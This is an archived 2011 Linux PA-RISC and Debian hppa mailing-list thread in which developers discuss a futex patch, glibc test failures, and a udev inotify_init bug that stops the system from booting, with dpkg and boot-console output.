	blu0-omc4-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753879Ab1JQWef (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 18:34:35 -0400
X-Greylist: delayed 369 seconds by postgrey-1.27 at vger.kernel.org; Mon, 17 Oct 2011 18:34:35 EDT
Original-Received: from BLU0-SMTP33 ([65.55.111.137]) by blu0-omc4-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 17 Oct 2011 15:28:25 -0700
X-Originating-IP: [64.229.86.96]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.86.96]) by BLU0-SMTP33.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 17 Oct 2011 15:28:24 -0700
In-Reply-To: <20111017215734.GA28681@glitch>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Oct 2011 22:28:24.0413 (UTC) FILETIME=[156038D0:01CC8D1C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3978 gmane.linux.debian.ports.hppa:6714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3978>


On 17-Oct-11, at 5:57 PM, Domenico Andreoli wrote:

> On Mon, Oct 17, 2011 at 05:09:05PM -0400, John David Anglin wrote:
>> On 10/17/2011 4:55 PM, Carlos O'Donell wrote:
>>> On 10/17/2011 2:10 PM, John David Anglin wrote:
>>>>> On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
>>>>>>> The test-fork1 failure is still unexplained and happens  
>>>>>>> intermittently.
>>>>>> I have built a lot of unstable on my rp3440.  I think this
>>>> one causes failures in the thread
>>>>> testsuites of perl, python2.7 and glib2.0.  These are  
>>>>> characterized by tests hanging.
>>>>>> There is another class of failures.  They typically cause
>>>> my rp3440 to crash due
>>>>> to cache corruption.  The GCC libgomp and libatomic-ops  
>>>>> testsuite seem to trigger
>>>>> this one.  As I have mentioned, it's the libgomp "for" tests that
>>>>>>>
>>>>>>> The cancellation issues happen in tst-cancel*.
>>>>>>>
>>>>>>> I believe the cancellation issues are toolchain issues and I  
>>>>>>> need to
>>>>>>> look into them.
>>>>> Possibly, this is related to the following bug that I found last  
>>>>> week building mpfr-3.1.0:
>>>>> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691
>>>>> A call to __tls_get_addr clobbers first argument of call to  
>>>>> mpfr_cache.  Don't have a
>>>>> fix at the moment, but there is a simple testcase.
>>>>>> On a different subject, I tried to get udev-172-1 working.
>>>> However, this breaks bootstrap
>>>>> due to an invalid argument in a call to inotify_init.  It's  
>>>>> somewhat timing dependent since
>>>>> some kernels will boot if they build enough of /dev before udev  
>>>>> messes up.  In any case,
>>>>> I believe that Guy Martin posted a patch a year or so ago to  
>>>>> correct an inconsistency
>>>>> between the glibc and the kernel for some bit definitions.  I'm  
>>>>> thinking this may fix the
>>>>> udev problem.
>>> What patch is this? I don't remember it. URL?
>>>
>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=617973
>
dave@mx3210:~$ dpkg -l libc6
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/ 
Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============- 
============================================
ii  libc6          2.13-10        Embedded GNU C Library: Shared  
libraries

Bug was supposed to be fixed in 2.13-0exp4...

This is the console output:

...
Loading, please wait...
mount: mounting udev on /dev failed: No such device
W: devtmpfs not available, falling back to tmpfs for /dev
udevd[834]: inotify_init failed: Invalid argument
udevd[834]: error initializing inotify
Begin: Loading essential drivers ... SCSI subsystem initialized done.
Begin: Running /scripts/init-premount ... done.
Begin: Mounting root file system ...
Begin: Running /scripts/local-top ... done.
Begin: Waiting for root file system ... done.
Gave up waiting for root device. Common problems:
  - Boot args (cat /proc/cmdline)
     - Check rootdelay= (did the system wait long enough?)
     - Check root= (did the system wait for the right device?)
  - Missing modules (cat /proc/modules; ls /dev)
chvt: can't open console
ALERT! /dev/sda5 does not exist. Dropping to a shell!

BusyBox v1.18.4 (Debian 1:1.18.4-1) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/bin/sh: can't access tty; job control turned off
(initramfs)

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 23:01:02 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <CADZpyix9K0mfbGdDPMA-+D8vgoyTBtakX0K8JS6viVOvHz8Q3w@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<4E9C9643.6030309@systemhalted.org>
	<4E9C9971.5090806@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1318906873 30846 80.91.229.12 (18 Oct 2011 03:01:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 03:01:13 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 05:01:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFzvP-0002su-Uu
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 05:01:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757236Ab1JRDBG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 23:01:06 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:61769 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757235Ab1JRDBF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 23:01:05 -0400
Original-Received: by iaek3 with SMTP id k3so176031iae.19
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2011 20:01:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=RNMj3pT68Bq+5Xn6upYPQKfQt+Iab/zRnDnyuyw753A=;
        b=jNm5lzbctgmWgX/rSEqUOx853kErqO/Jzvkak9NOLfHbeyjFDNWmZxu14xHjd+u84p
         o1dGsKtEhouGV+lMmOi5OOCS2VEAE9hfWmZzU8fv6Y+mR5XvScIWonSZnJ3pvlMlxTAi
         FKneUnX/2vnFaSK5GwE/sJVvXHG9TIHmWsRso=
Original-Received: by 10.42.163.4 with SMTP id a4mr1018647icy.4.1318906863006; Mon, 17
 Oct 2011 20:01:03 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Mon, 17 Oct 2011 20:01:02 -0700 (PDT)
In-Reply-To: <4E9C9971.5090806@bell.net>
X-Google-Sender-Auth: NK0w4hJsLopewGhvysWkUKvEHmg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3979 gmane.linux.debian.ports.hppa:6715
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3979>

On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>> What patch is this? I don't remember it. URL?
>>
> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html

Thanks! I'll poke at this tomorrow.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 23:21:45 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <CADZpyizSBKcyt5VW8DsAvpzgOGZoTDpdpny9tEdsUgxJ2JoNNQ@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<4E9C9643.6030309@systemhalted.org>
	<4E9C9971.5090806@bell.net>
	<CADZpyix9K0mfbGdDPMA-+D8vgoyTBtakX0K8JS6viVOvHz8Q3w@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1318908113 5262 80.91.229.12 (18 Oct 2011 03:21:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 03:21:53 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Guy Martin <gmsoft@gentoo.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 05:21:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RG0FP-0007IE-JX
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 05:21:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757242Ab1JRDVq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 23:21:46 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:46470 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752460Ab1JRDVq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 23:21:46 -0400
Original-Received: by iaek3 with SMTP id k3so193562iae.19
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2011 20:21:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=dKQEt3fiGZciwBeVzTopBX9t33kRYj4fR94qOgkz0Yo=;
        b=bweven46yEScxg64cFkJNbSSSqDtxQkIdafL95/g/KILpewfE8jUtn6QiqKKMkexVc
         hxMqtuuaxCxedbfWHVBNemI5z07MtnUQw4x5Gqy254Ozo673QlD4B8c2DYfS4ccNRRrZ
         bVJgHmYwRA9UM7URk9pMftAEhwdV9gLWmH4uE=
Original-Received: by 10.42.155.202 with SMTP id v10mr963277icw.36.1318908105610; Mon,
 17 Oct 2011 20:21:45 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Mon, 17 Oct 2011 20:21:45 -0700 (PDT)
In-Reply-To: <CADZpyix9K0mfbGdDPMA-+D8vgoyTBtakX0K8JS6viVOvHz8Q3w@mail.gmail.com>
X-Google-Sender-Auth: mX_5mgfKA5iwYrBNjLa_sG0aLSA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3980 gmane.linux.debian.ports.hppa:6716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3980>

On Mon, Oct 17, 2011 at 11:01 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>> What patch is this? I don't remember it. URL?
>>>
>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>
> Thanks! I'll poke at this tomorrow.

I remember what happened here. I championed the idea that this patch
should be generic for all targets, or at least for all of ports.

Guy was good enough to give it a shot but Ulrich shot it down.

Unfortunately the patch lost momentum and I never applied the original.

I've just applied this patch and I'll run it through some testing.

Guy,

Did you eventually get a version that helped just libc-ports avoid
these issues of header duplication?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 18 Oct 2011 11:31:28 +0200
Lines: 260
Approved: news@gmane.org
Message-ID: <CAGH6_po8U2DXi9x7zQZuU7YAOw-MNhC=kGDC8gJ=rBqtwMPmpA@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<4E9C9643.6030309@systemhalted.org>
	<4E9C9971.5090806@bell.net>
	<20111017215734.GA28681@glitch>
	<BLU0-SMTP3369C2E5C7F1EBE9C97C5B97E40@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=bcaec520e81750d82b04af8f6387
X-Trace: dough.gmane.org 1318930323 14263 80.91.229.12 (18 Oct 2011 09:32:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 09:32:03 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>, debian-hppa@lists.debian.org, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Oct 18 11:31:58 2011
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1RG61d-0005N8-D1
	for debian-hppa@m.gmane.org; Tue, 18 Oct 2011 11:31:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id ECAF213A6FFF; Tue, 18 Oct 2011 09:32:04 +0000 (UTC)
Old-Return-Path: <domenico.andreoli.it@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-2.7 required=4.0 tests=FOURLA,HTML_MESSAGE,
	IMPRONONCABLE_1,LDO_WHITELIST,MURPHY_DRUGS_REL8,MURPHY_WRONG_WORD2,
	RCVD_IN_DNSWL_LOW autolearn=no version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id C5D9913A6F9C
	for <lists-debian-hppa@liszt.debian.org>; Tue, 18 Oct 2011 09:31:57 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-4.68 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, HTML_MESSAGE=2, IMPRONONCABLE_1=1,
	LDO_WHITELIST=-5, MURPHY_DRUGS_REL8=0.02, MURPHY_WRONG_WORD2=0.2,
	RCVD_IN_DNSWL_LOW=-1] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id Pamj8MWd0Rgn for <lists-debian-hppa@liszt.debian.org>;
	Tue, 18 Oct 2011 09:31:47 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-yx0-f175.google.com (mail-yx0-f175.google.com [209.85.213.175])
	(using TLSv1 with cipher RC4-SHA (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority" (not verified))
	by liszt.debian.org (Postfix) with ESMTPS id ED02D13A599E
	for <debian-hppa@lists.debian.org>; Tue, 18 Oct 2011 09:31:40 +0000 (UTC)
Original-Received: by yxo30 with SMTP id 30so363415yxo.6
        for <debian-hppa@lists.debian.org>; Tue, 18 Oct 2011 02:31:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=svoqNsJLXzx8eUc//GLgASSM0zNSP3zX3WYL3KDmTi4=;
        b=a8gNPKr+F3SkAvmkeq95mGBurz3n7UypUVDBMOONypDPjC9hCsVP6eBDvECuNz8dUc
         mab04ICh/TAItlZPLeVaaoUkOkpoEkRi6RZSX4UHKwBEFnxIzq3d8Z0coprdWsV/hnhp
         511k5UdebzQTuNAERMXRsyxZZeg7MI+nyEHGw=
Original-Received: by 10.68.36.232 with SMTP id t8mr3822170pbj.54.1318930288268; Tue,
 18 Oct 2011 02:31:28 -0700 (PDT)
Original-Sender: domenico.andreoli.it@gmail.com
Original-Received: by 10.143.77.12 with HTTP; Tue, 18 Oct 2011 02:31:28 -0700 (PDT)
In-Reply-To: <BLU0-SMTP3369C2E5C7F1EBE9C97C5B97E40@phx.gbl>
X-Google-Sender-Auth: vaD7HIPTCgpP_s5ZIAVahuQghYc
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <XLEMoHKhhpJ.A.pWB.UeUnOB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7708
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 18 Oct 2011 09:32:04 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6717 gmane.linux.ports.parisc:3981
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/6717>

--bcaec520e81750d82b04af8f6387
Content-Type: text/plain; charset=ISO-8859-1

On Tue, Oct 18, 2011 at 12:28 AM, John David Anglin <dave.anglin@bell.net>wrote:

>
> On 17-Oct-11, at 5:57 PM, Domenico Andreoli wrote:
>
>  On Mon, Oct 17, 2011 at 05:09:05PM -0400, John David Anglin wrote:
>>
>>> On 10/17/2011 4:55 PM, Carlos O'Donell wrote:
>>>
>>>> On 10/17/2011 2:10 PM, John David Anglin wrote:
>>>>
>>>>> On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
>>>>>>
>>>>>>> The test-fork1 failure is still unexplained and happens
>>>>>>>> intermittently.
>>>>>>>>
>>>>>>> I have built a lot of unstable on my rp3440.  I think this
>>>>>>>
>>>>>> one causes failures in the thread
>>>>>
>>>>>> testsuites of perl, python2.7 and glib2.0.  These are characterized by
>>>>>> tests hanging.
>>>>>>
>>>>>>> There is another class of failures.  They typically cause
>>>>>>>
>>>>>> my rp3440 to crash due
>>>>>
>>>>>> to cache corruption.  The GCC libgomp and libatomic-ops testsuite seem
>>>>>> to trigger
>>>>>> this one.  As I have mentioned, it's the libgomp "for" tests that
>>>>>>
>>>>>>>
>>>>>>>> The cancellation issues happen in tst-cancel*.
>>>>>>>>
>>>>>>>> I believe the cancellation issues are toolchain issues and I need to
>>>>>>>> look into them.
>>>>>>>>
>>>>>>> Possibly, this is related to the following bug that I found last week
>>>>>> building mpfr-3.1.0:
>>>>>> http://gcc.gnu.org/bugzilla/**show_bug.cgi?id=50691<http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50691>
>>>>>> A call to __tls_get_addr clobbers first argument of call to
>>>>>> mpfr_cache.  Don't have a
>>>>>> fix at the moment, but there is a simple testcase.
>>>>>>
>>>>>>> On a different subject, I tried to get udev-172-1 working.
>>>>>>>
>>>>>> However, this breaks bootstrap
>>>>>
>>>>>> due to an invalid argument in a call to inotify_init.  It's somewhat
>>>>>> timing dependent since
>>>>>> some kernels will boot if they build enough of /dev before udev messes
>>>>>> up.  In any case,
>>>>>> I believe that Guy Martin posted a patch a year or so ago to correct
>>>>>> an inconsistency
>>>>>> between the glibc and the kernel for some bit definitions.  I'm
>>>>>> thinking this may fix the
>>>>>> udev problem.
>>>>>>
>>>>> What patch is this? I don't remember it. URL?
>>>>
>>>>  http://www.cygwin.com/ml/libc-**ports/2010-08/msg00001.html<http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html>
>>>
>>
>> http://bugs.debian.org/cgi-**bin/bugreport.cgi?bug=617973<http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=617973>
>>
>>  dave@mx3210:~$ dpkg -l libc6
> Desired=Unknown/Install/**Remove/Purge/Hold
> | Status=Not/Inst/Conf-files/**Unpacked/halF-conf/Half-inst/**
> trig-aWait/Trig-pend
> |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
> ||/ Name           Version        Description
> +++-==============-===========**===-==========================**
> ==================
> ii  libc6          2.13-10        Embedded GNU C Library: Shared libraries
>
> Bug was supposed to be fixed in 2.13-0exp4...
>
> This is the console output:
>
> ...
> Loading, please wait...
> mount: mounting udev on /dev failed: No such device
> W: devtmpfs not available, falling back to tmpfs for /dev
> udevd[834]: inotify_init failed: Invalid argument
> udevd[834]: error initializing inotify
> Begin: Loading essential drivers ... SCSI subsystem initialized done.
> Begin: Running /scripts/init-premount ... done.
> Begin: Mounting root file system ...
> Begin: Running /scripts/local-top ... done.
> Begin: Waiting for root file system ... done.
> Gave up waiting for root device. Common problems:
>  - Boot args (cat /proc/cmdline)
>    - Check rootdelay= (did the system wait long enough?)
>    - Check root= (did the system wait for the right device?)
>  - Missing modules (cat /proc/modules; ls /dev)
> chvt: can't open console
> ALERT! /dev/sda5 does not exist. Dropping to a shell!
>
> BusyBox v1.18.4 (Debian 1:1.18.4-1) built-in shell (ash)
> Enter 'help' for a list of built-in commands.
>
> /bin/sh: can't access tty; job control turned off
> (initramfs)
>

Unfortunately I've never been able to build eglibc with the supposed fix,
indeed I'm running an hacked udev on libc 2.11.something.

BTW, how did you successfully build it? you said you build a good part of
unstable, I would like to do the same and maybe upload some key packages...

Regards,
Domenico

--bcaec520e81750d82b04af8f6387
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<div class=3D"gmail_quote">On Tue, Oct 18, 2011 at 12:28 AM, John David Ang=
lin <span dir=3D"ltr">&lt;<a href=3D"mailto:dave.anglin@bell.net">dave.angl=
in@bell.net</a>&gt;</span> wrote:<br><blockquote class=3D"gmail_quote" styl=
e=3D"margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex;">
<div><div></div><div class=3D"h5"><br>
On 17-Oct-11, at 5:57 PM, Domenico Andreoli wrote:<br>
<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
On Mon, Oct 17, 2011 at 05:09:05PM -0400, John David Anglin wrote:<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
On 10/17/2011 4:55 PM, Carlos O&#39;Donell wrote:<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
On 10/17/2011 2:10 PM, John David Anglin wrote:<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex"><blockquote class=3D"gmail_quote" style=3D"m=
argin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
On 10/17/2011 11:47 AM, Carlos O&#39;Donell wrote:<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex"><blockquote class=3D"gmail_quote" style=3D"m=
argin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
The test-fork1 failure is still unexplained and happens intermittently.<br>
</blockquote>
I have built a lot of unstable on my rp3440. =A0I think this<br>
</blockquote></blockquote>
one causes failures in the thread<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
testsuites of perl, python2.7 and glib2.0. =A0These are characterized by te=
sts hanging.<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
There is another class of failures. =A0They typically cause<br>
</blockquote></blockquote>
my rp3440 to crash due<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
to cache corruption. =A0The GCC libgomp and libatomic-ops testsuite seem to=
 trigger<br>
this one. =A0As I have mentioned, it&#39;s the libgomp &quot;for&quot; test=
s that<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex"><blockquote class=3D"gmail_quote" style=3D"m=
argin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
<br>
The cancellation issues happen in tst-cancel*.<br>
<br>
I believe the cancellation issues are toolchain issues and I need to<br>
look into them.<br>
</blockquote></blockquote>
Possibly, this is related to the following bug that I found last week build=
ing mpfr-3.1.0:<br>
<a href=3D"http://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D50691" target=3D"_=
blank">http://gcc.gnu.org/bugzilla/<u></u>show_bug.cgi?id=3D50691</a><br>
A call to __tls_get_addr clobbers first argument of call to mpfr_cache. =A0=
Don&#39;t have a<br>
fix at the moment, but there is a simple testcase.<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
On a different subject, I tried to get udev-172-1 working.<br>
</blockquote></blockquote>
However, this breaks bootstrap<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">
due to an invalid argument in a call to inotify_init. =A0It&#39;s somewhat =
timing dependent since<br>
some kernels will boot if they build enough of /dev before udev messes up. =
=A0In any case,<br>
I believe that Guy Martin posted a patch a year or so ago to correct an inc=
onsistency<br>
between the glibc and the kernel for some bit definitions. =A0I&#39;m think=
ing this may fix the<br>
udev problem.<br>
</blockquote></blockquote>
What patch is this? I don&#39;t remember it. URL?<br>
<br>
</blockquote>
<a href=3D"http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html" targe=
t=3D"_blank">http://www.cygwin.com/ml/libc-<u></u>ports/2010-08/msg00001.ht=
ml</a><br>
</blockquote>
<br>
<a href=3D"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D617973" targe=
t=3D"_blank">http://bugs.debian.org/cgi-<u></u>bin/bugreport.cgi?bug=3D6179=
73</a><br>
<br>
</blockquote></div></div>
dave@mx3210:~$ dpkg -l libc6<br>
Desired=3DUnknown/Install/<u></u>Remove/Purge/Hold<br>
| Status=3DNot/Inst/Conf-files/<u></u>Unpacked/halF-conf/Half-inst/<u></u>t=
rig-aWait/Trig-pend<br>
|/ Err?=3D(none)/Reinst-required (Status,Err: uppercase=3Dbad)<br>
||/ Name =A0 =A0 =A0 =A0 =A0 Version =A0 =A0 =A0 =A0Description<br>
